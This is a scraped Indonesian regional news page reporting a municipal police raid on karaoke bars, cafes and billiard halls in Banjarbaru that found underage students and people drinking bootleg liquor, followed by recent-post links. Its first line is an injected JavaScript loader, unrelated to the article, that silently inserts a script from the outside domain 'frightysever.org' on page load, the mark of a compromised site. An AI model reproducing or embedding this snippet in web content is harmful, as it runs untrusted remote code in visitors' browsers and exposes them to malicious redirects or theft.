(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarbaru

Razia THM di Banjarbaru, Petugas Dapati Pelajar Serta Miras


BANJARBARU, Satpol PP Kota Banjarbaru melakukan penyisiran sejumlah karaoke dan cafe serta biliard di kota Banjarbaru, seperti di jalan A Yani, jalan Mistarcokrokusumo dan sepanjang jalan Trikora, serta beberapa lokasi yang dianggap rawan, Selasa (10/9) malam.

Kasatpol PP Banjarbaru, Marhain Rahman, mengatakan kegiatan ke tempat-tempat hiburan malam (THM) dimaksudkan untuk meminimalisir pelanggaran Perda, baik itu mengenai jam operasional, penjualan minuman keras, obat-obatan terlarang dan ketaatan pemilik tempat hiburan malam serta izin usaha hiburan umum.

“Giat ini merupakan arahan langsung dari Bapak Walikota Banjarbaru, Nadjmi Adhani. Kita tidak ingin kejadian beberapa waktu lalu sampai terulang,” katanya, Rabu (11/9).

Kegiatan ini dikomandoi langsung Sekertaris Satpol PP Banjarbaru, Muhammad Bahrin, didampingi Disporabudpar, DPMPTSP dan jajaran kepolisian dan TNI. Dalam giat Satpol PP Banjarbaru mengimbau kepada pemilik usaha, supaya memperketat pengawasan agar tidak membiarkan pengunjung membawa minuman keras ke dalam tempat hiburan tersebut.

Berlanjut setelah pemeriksaan data diri para pengunjung dna pemandu lagu di karaoke, dari hasil pemantauan terdapat 6 pelajar dibawah umur yang sedang berada di dalam sebuah ruang karaoke di jalan A Yani Banjarbaru.

Sekretaris Satpol PP Banjarbaru mengatakan . 6 pelajar tersebut disuruh pulang karena pengakuan yang bersangkutan berstatus pelajar.


“Kita juga menemukan 4 orang yang mengkonsumsi miras oplosan di salah satu tempat hiburan biliard yang berada di jalan Trikora Banjarbaru,” lanjutnya.

Dalam hal ini petugas memberikan tindakan hukuman ringan berupa push up untuk memberikan efek jera. Pemilik juga diberikan peringatan agar tempat tersebut tidak dijadikan tempat untuk konsumsi minuman beralkohol.

Sebelumnya, beberapa waktu yang lalu masyarakat dibuat resah dengan adanya THM di Banjarbaru, yakni Cafe 3D Entertainment yang melanggar batas dan ketentuan yang berlaku. Selain melanggar jam operasional yang telah diatur, Cafe 3D Entertainment juga menghadirkan seorang DJ sehingga terkesan tempat hiburan justru menjadi sarang untuk dugem.

Tentunya hal ini menjadi tamparan bagi Pemkot Banjarbaru yang mana dianggap lalai dan membiarkan citra kota Banjarbaru tercemar. Apalagi dari hasil pemeriksaan terhap kelengkapan izin Cafe 3D Entertainment, rupanya tempat hiburan tersebut belum mempunyai Izin Tempat Hiburan Umum. (rico)

Reporter : Rico
Editor : Bie


Desy Arfianty

Recent Posts

Pj Bupati Kapuas Erlin Hardi ke Desa Tumbang Mangkutup

KANALKALIMANTAN.COM, KUALA KAPUAS - Penjabat (Pj) Bupati Kapuas, Erlin Hardi bersilaturahmi dengan masyarakat Desa Tumbang… Read More

8 jam ago

Satgas TMMD Beri Penyuluhan Pertanian dan Perikanan di Desa Sungai Karias

KANALKALIMANTAN.COM, AMUNTAI - Setelah program non fisik sosialisasi PHBS (Perilaku Hidup bersih Sehat) dan masalah… Read More

8 jam ago

Banjarbaru Posisi Kedua Klasemen Sementara Popda Kalsel 2024

KANALKALIMANTAN.COM, BANJARBARU - Sejumlah cabang olahraga (cabor) unggulan membawa kontingen Kota Banjarbaru bertengger di posisi… Read More

11 jam ago

Hasnur Resmi Lamar Partai Golkar, Mencari ‘Pintu’ Koalisi Pilgub Kalsel

KANALKALIMANTAN.COM, BANJARMASIN - Langkah Hasnuryadi Sulaiman untuk maju pada kontestasi Pemilihan Gubernur dan Wakil Gubernur… Read More

12 jam ago

Pasti Maju Pilwali Banjarbaru, Ovie Simpan Nama Pasangan

KANALKALIMANTAN.COM, BANJARBARU - Aditya Mufti Ariffin memastikan akan kembali berkontestasi dalam Pemilihan Kepala Daerah (Pilkada)… Read More

13 jam ago

Soal Caleg Terpilih Mundur atau Tidak Mundur Jika Maju Pilkada, Begini Penjelasan KPU Kalsel

KANALKALIMANTAN.COM, BANJARMASIN - Anggota Komisi Pemilihan Umum (KPU) Provinsi Kalimantan Selatan (Kalsel), Fahmi Failasopa menegaskan… Read More

16 jam ago

This website uses cookies.